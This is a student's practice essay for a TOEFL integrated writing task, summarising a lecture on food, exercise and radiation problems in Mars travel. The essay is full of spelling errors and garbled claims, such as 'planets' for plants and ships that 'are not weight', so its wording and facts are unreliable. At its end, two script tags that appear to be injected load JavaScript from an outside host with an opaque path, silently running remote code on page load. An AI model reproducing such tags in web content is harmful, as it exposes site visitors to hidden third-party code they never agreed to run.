TPO50 Integrated task

The professor talks about some solutions to solve problems of traveling in the mars.

First, the reading passage states that, traveling to the mars takes a long time, so in this case astronauts will face problems to provide their food and oxigen. In contrast, the professor in the lecture explains that, astronauts can use hydropanic technic. In this technic, they use plants to survive. plants needs less space to grow, so by growing planets, astronauts can eat them instead of food. also, planets absorb carbon dioxid, and release oxygen. Therefore, they will not have any problems to survive.

Second, the reading passage claims that, in zero-gravity astronauts will lose their muscle mass and their bone density. On contrary, the professor says that, astronauts can do regelar exercise to improve their muscle's ability. Besides, they can take Vitamin to keep their power.

Finally, the reading shows that, space radiation is really dangerous for human. On the other hand, the professor explains that, space radiation is not dangerous all the time. Actually, it has a negative effect on human occasionaly. also, spaceships which are used are not weight, and they can ship easily, and can protect astronauts. <script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script>
